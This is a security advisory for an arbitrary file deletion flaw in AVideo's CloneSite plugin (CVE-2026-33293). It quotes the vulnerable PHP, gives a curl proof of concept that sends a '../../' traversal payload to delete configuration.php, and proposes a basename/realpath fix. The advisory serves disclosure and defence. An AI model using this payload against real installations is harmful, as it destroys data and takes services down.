Arbitrary File Deletion via Path Traversal in CloneSite deleteDump Parameter

High **DanielnetoDotCom** published **GHSA-xmjm-86qv-g226** on Mar 18

Package

php **wwbn/avideo** (Composer)

Affected versions

<= 25.0

Patched versions

None

Description

Summary

The `deleteDump` parameter in `plugin/CloneSite/cloneServer.json.php` is passed directly to `unlink()` without any path sanitization. An attacker with valid clone credentials can use path traversal sequences (e.g., `../../`) to delete arbitrary files on the server, including critical application files such as `configuration.php`, causing complete denial of service or enabling further attacks by removing security-critical files.

Details

In `plugin/CloneSite/cloneServer.json.php`, the `$clonesDir` variable is set to the application's storage path appended with `clones/` (line 11). When a `deleteDump` GET parameter is provided, its value is concatenated directly into a path passed to `unlink()` with no validation:

```
// plugin/CloneSite/cloneServer.json.php:10-11
$videosDir = Video::getStoragePath() . "";
$clonesDir = "{$videosDir}clones/";
```

```
// plugin/CloneSite/cloneServer.json.php:44-46
if (!empty($_GET['deleteDump'])) {
```

```
    $resp->error = !unlink("{$clonesDir}{$_GET['deleteDump']}");
    $resp->msg = "Delete Dump {$_GET['deleteDump']}";
    die(json_encode($resp));
}
```

The intended functionality is to delete SQL dump files generated during the clone process (named via `uniqid()` at line 58). However, because `$_GET['deleteDump']` is never passed through `basename()`, `realpath()`, or any other path normalization function, an attacker can supply directory traversal sequences to escape the `$clonesDir` directory.

Given a typical `$clonesDir` of `/var/www/html/videos/clones/`, the payload `../../videos/configuration.php` resolves to `/var/www/html/videos/configuration.php`.

The authentication guard `thisURLCanCloneMe()` at line 38 requires a valid URL and matching key for an admin-approved clone entry (status `=== 'a'`). This is a service-level credential, not an admin session — any approved clone partner possesses these credentials as part of normal operations.

The legitimate clone client at `cloneClient.json.php:275` only sends server-generated `$json->sqlFile` values (produced by `uniqid()`), but nothing prevents a holder of valid credentials from crafting a manual HTTP request with an arbitrary `deleteDump` value.

PoC

Prerequisites: A valid clone URL and key pair registered and approved by an admin.

Step 1: Verify the target file exists (e.g., the application configuration file).

```
curl -s "https://avideo.local/videos/configuration.php" -o /dev/null -w "%{http_co
# Expected: 200 (or 302/403 — file exists and is served/protected)
```

Step 2: Send the path traversal payload via the `deleteDump` parameter.

```
curl -s "https://avideo.local/plugin/CloneSite/cloneServer.json.php?url=https://ap d
```

Expected response:

```
{"error":false,"msg":"Delete Dump ..\/..\/videos\/configuration.php","url":"https: p
```

`"error":false` confirms `unlink()` returned `true` — the file was successfully deleted.

Step 3: Confirm deletion.

```
curl -s "https://avideo.local/videos/configuration.php" -o /dev/null -w "%{http_co
```

```
# Expected: 404 or 500 — file no longer exists
```

Step 4: At this point the entire AVideo application is broken, as `configuration.php` contains database credentials and is `require_once`'d by nearly every endpoint.

Impact

- **Arbitrary file deletion:** An attacker can delete any file readable by the web server process, including application source code, configuration files, uploaded media, and database dumps containing credentials.
- **Complete denial of service:** Deleting `configuration.php` renders the entire AVideo installation non-functional. Every page load will fatal-error on the missing `require_once`.
- **Security control bypass:** Deleting `.htaccess` files or other access-control configurations can expose otherwise-protected directories and files.
- **Data loss:** Uploaded videos, user photos, and SQL backups stored under the videos directory can be permanently destroyed.
- **Potential escalation:** Deleting specific files (e.g., plugin configurations, auth modules) may weaken the application's security posture and enable further attacks.

Recommended Fix

Apply `basename()` to the `deleteDump` parameter to strip any directory traversal components, ensuring the deletion is restricted to files within `$clonesDir`:

```php
// plugin/CloneSite/cloneServer.json.php:44-48
if (!empty($_GET['deleteDump'])) {
    $deleteDump = basename($_GET['deleteDump']);
    $filePath = "{$clonesDir}{$deleteDump}";
    if (strpos(realpath($filePath), realpath($clonesDir)) !== 0) {
        $resp->msg = "Invalid file path";
        die(json_encode($resp));
    }
    $resp->error = !unlink($filePath);
    $resp->msg = "Delete Dump {$deleteDump}";
    die(json_encode($resp));
}
```

The fix applies defense-in-depth: `basename()` strips path components, and the `realpath()` check ensures the resolved path is still within the intended directory even if `basename()` behavior changes across PHP versions.

Severity

High 8.1 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	High
Availability	High

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

CVE ID

CVE-2026-33293

Weaknesses

▶ CWE-22

Credits

 **offset** Reporter